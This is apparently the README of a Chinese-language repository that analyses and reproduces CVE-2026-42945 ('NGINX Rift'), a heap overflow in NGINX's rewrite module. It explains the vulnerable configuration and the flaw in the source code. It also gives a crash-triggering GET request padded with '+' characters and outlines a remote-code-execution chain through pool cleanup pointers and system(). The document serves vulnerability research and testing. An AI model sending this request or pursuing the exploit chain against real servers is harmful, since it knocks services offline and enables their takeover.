
NGINX Rift 漏洞分析与复现
CVE-2026-42945(代号 "NGINX Rift")是一个存在于 NGINX ngx_http_rewrite_module 中的堆缓冲区溢出漏洞,CVSS v4 评分 9.2(Critical)。
该漏洞由 depthfirst 安全研究团队于 2026 年 4 月发现,自 2008 年引入 NGINX 0.6.27 版本以来已潜伏 18 年。
漏洞需要以下 NGINX 配置模式才能触发:
location ~ ^/api/(.*)$ {
rewrite ^/api/(.*)$ /internal?migrated=true;
set $original_endpoint $1;
}
关键条件:
rewrite 指令的替换字符串中包含 ?(问号)set 指令引用了正则表达式捕获组(如 $1)+, &, % 等)NGINX 的脚本引擎使用两阶段处理来执行 rewrite/set 指令:
漏洞的核心在于两个阶段之间的引擎状态不一致:
rewrite 设置 is_args 标志当 rewrite 指令的替换字符串包含 ? 时,ngx_http_script_start_args_code 函数会设置:
void ngx_http_script_start_args_code(ngx_http_script_engine_t *e)
{
e->is_args = 1; // 永久设置,从不重置!
e->args = e->pos;
e->ip += sizeof(uintptr_t);
}
set 指令的长度计算使用全新子引擎当后续 set 指令引用捕获组时,ngx_http_script_complex_value_code 创建一个全零的子引擎:
void ngx_http_script_complex_value_code(ngx_http_script_engine_t *e)
{
ngx_http_script_engine_t le;
// ...
ngx_memzero(&le, sizeof(ngx_http_script_engine_t)); // le.is_args = 0
le.ip = code->lengths->elts;
长度计算(使用子引擎 le,is_args=0):
// ngx_http_script_copy_capture_len_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=0,条件为 false,走 else 分支
return cap[n + 1] - cap[n]; // 返回原始长度(未转义)
}
实际拷贝(使用主引擎 e,is_args=1):
// ngx_http_script_copy_capture_code
if ((e->is_args || e->quote) && (e->request->quoted_uri || e->request->plus_in_uri))
{
// is_args=1,条件为 true,走 if 分支
e->pos = (u_char *) ngx_escape_uri(pos, &p[cap[n]],
cap[n + 1] - cap[n],
NGX_ESCAPE_ARGS);
// 每个可转义字符从 1 字节扩展为 3 字节!
}
raw_size(原始捕获长度)raw_size + 2 * N(N = 可转义字符数量)例如,如果 URI 中有 100 个 + 号,溢出量为 200 字节。
最简单的利用方式 - 发送包含大量可转义字符的请求即可导致 worker 进程崩溃:
GET /api/+++++++++++++++++++++++++++++++++++ HTTP/1.1
Host: target.com
完整的 RCE 利用链(需要 ASLR 关闭或已绕过):
ngx_pool_t 的堆布局cleanup 指针:溢出到相邻的内存池结构system() 地址的伪造结构ngx_destroy_pool 遍历 cleanup 链表NGINX 的多进程架构使得利用更加可靠 - worker 崩溃后 master 会 fork 出内存布局完全相同的新 worker。
README.md - 本文件,漏洞分析文档Dockerfile - 构建易受攻击的 NGINX 环境nginx.conf - 触发漏洞的 NGINX 配置poc_crash.py - DoS PoC(触发 worker 崩溃)docker-compose.yml - 一键启动测试环境# 1. 构建并启动易受攻击的 NGINX
docker-compose up -d
# 2. 运行 DoS PoC
python3 poc_crash.py
# 3. 查看 NGINX 错误日志确认崩溃
docker-compose logs nginx
本材料仅用于安全研究和教育目的。请勿将此信息用于未经授权的攻击行为。